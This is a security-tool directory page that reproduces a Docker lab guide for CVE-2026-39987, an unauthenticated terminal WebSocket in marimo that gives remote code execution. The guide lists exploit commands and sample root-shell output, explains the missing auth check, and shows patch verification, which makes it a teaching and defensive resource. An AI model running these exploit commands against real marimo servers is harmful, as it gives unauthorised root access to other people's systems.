Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39987-lab-or-marimo-cve-lab — Educational Docker lab demonstrating CVE-2026-39987, a pre-auth RCE via WebSocket authentication bypass in marimo, with exploit script and patch verification steps. | Kitploit
Tools/GitHubGitHub/dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39987-lab-or-marimo-cve-lab

Educational Docker lab demonstrating CVE-2026-39987, a pre-auth RCE via WebSocket authentication bypass in marimo, with exploit script and patch verification steps.

View Repository
4 months agoNot yet reviewed

CVE-2026-39987 Lab Guide

Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass

An educational Docker lab for understanding, reproducing, and patching this critical vulnerability in marimo.


Table of Contents

  • Overview
  • Architecture
  • Quick Start
  • Step-by-Step Walkthrough
    • Step 1: Build & Start the Lab
    • Step 2: Confirm Authentication is Active
    • Step 3: Run the Exploit
    • Step 4: Understand the Bypass
    • Step 5: Patch Verification
  • Troubleshooting
  • Cleanup
  • References

Overview

Targetmarimo <= 0.20.4 running in edit mode with token authentication enabled
AttackerAny host with Python 3 and websocket-client
GoalObtain an interactive root shell via /terminal/ws without providing an auth token
TypeAuthentication Bypass → Remote Code Execution (RCE)
Patchmarimo >= 0.23.0

⚠️ Ethical Use Only: This lab is designed for security researchers, developers, and students to understand how authentication bypass vulnerabilities occur and how to properly fix them. Run only in isolated environments.


Architecture

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                        Docker Network                         │
│                        (cve-lab)                              │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (Target)           │      │   (Attacker)         │   │
│   │   Port: 2718         │      │   Python 3.12        │   │
│   │   Auth: Token        │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

Files in this lab:

FilePurpose
Dockerfile.targetBuilds the vulnerable marimo server
docker-compose.yml

Quick Start

root@kitploit:~
# Clone the repo
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# Start the lab
docker-compose up --build -d

# Run the exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# Get an interactive shell
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Step-by-Step Walkthrough

Step 1: Build & Start the Lab

root@kitploit:~
# Create a working directory and place these files inside:
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# Build and start the target
docker-compose up --build -d

# Verify the target is running
docker ps
# You should see: marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

What happens:

  • Docker builds a container with marimo 0.20.4 (vulnerable version)
  • The server starts in edit mode with --token authentication explicitly enabled
  • Port 2718 is exposed to your host

Step 2: Confirm Authentication is Active

Before exploiting, let's verify the target is properly protected on legitimate endpoints:

root@kitploit:~
# Try to open the main UI in a browser or via curl
curl -s http://127.0.0.1:2718/
# Expected: Redirect to login page or 401/403 (token required)

# Try the main WebSocket (/ws) without a token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Expected: Connection rejected or closed immediately due to missing auth

Key Observation: The main application endpoints correctly enforce authentication. The vulnerability lies in a secondary endpoint that was overlooked.


Step 3: Run the Exploit

Option A — Single command execution

root@kitploit:~
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

Expected output:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

Option B — Interactive shell

root@kitploit:~
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

You will get a $ prompt where you can run arbitrary system commands:

root@kitploit:~
[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.

Step 4: Understand the Bypass

Why does this work?

The vulnerability exists because of an inconsistent authentication check across WebSocket endpoints:

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  Authentication Middleware (Starlette)                          │
│  ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│  └── Does NOT automatically close WebSocket connections         │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (Main)     │          │ /terminal/ws     │
    │                  │          │ (Terminal)       │
    │  ✓ validate_auth()│          │  ✗ NO auth check │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  Rejects unauth  │          │  ✓ Accepts immediately│
    └──────────────────┘          └──────────────────┘

Root Cause Breakdown

  1. Authentication middleware (Starlette AuthenticationMiddleware) marks unauthenticated connections as UnauthenticatedUser but does not close WebSocket connections automatically.

  2. Correct endpoints (e.g., /ws) call validate_auth() or use @requires("edit"), rejecting unauthenticated clients.

  3. Vulnerable endpoint (/terminal/ws) only checks:

    • SessionMode.EDIT — ensures the server is in edit mode
    • supports_terminal() — ensures terminal feature is available
    • ...then immediately calls await websocket.accept() without any auth check.
  4. Impact: pty.fork() spawns a full PTY shell running as the server user (root in the default Docker image), giving the attacker complete system access.

The Fix (marimo >= 0.23.0)

The patch adds proper authentication validation to the /terminal/ws endpoint, ensuring it matches the security posture of other endpoints.


Step 5: Patch Verification

Upgrade the target to the patched version and re-run the exploit to confirm the fix:

root@kitploit:~
# Edit Dockerfile.target: change marimo==0.20.4 to marimo==0.23.0
# Or use: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# Try the exploit again
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"

Expected after patch:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required

The connection is now rejected/closed immediately; no shell is obtained. ✅


Troubleshooting


Cleanup

root@kitploit:~
# Stop and remove containers
docker-compose down -v

# Remove the built image
docker rmi cve-lab_target

# Clean up any dangling images
docker image prune -f

References

  • GitHub Security Advisory: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • Patch PR: https://github.com/marimo-team/marimo/pull/9098
  • CVE Record: https://cveawg.mitre.org/api/cve/CVE-2026-39987
  • marimo Documentation: https://docs.marimo.io

Built for educational purposes. Use responsibly. 🔒

Download Tool
Orchestrates target and attacker containers
exploit.pyPoC exploit script (single command + interactive mode)
LAB_GUIDE.mdThis guide
IssueSolution
Connection refusedEnsure the container is running: docker ps and check logs with docker logs marimo-vulnerable
ModuleNotFoundError: No module named 'websocket'Install the client: pip install websocket-client
No output from exploitIncrease timeout: python exploit.py ... --timeout 20
Container exits immediatelyCheck Dockerfile syntax and ensure test.py notebook is created properly
Permission deniedEnsure Docker daemon is running and you have proper permissions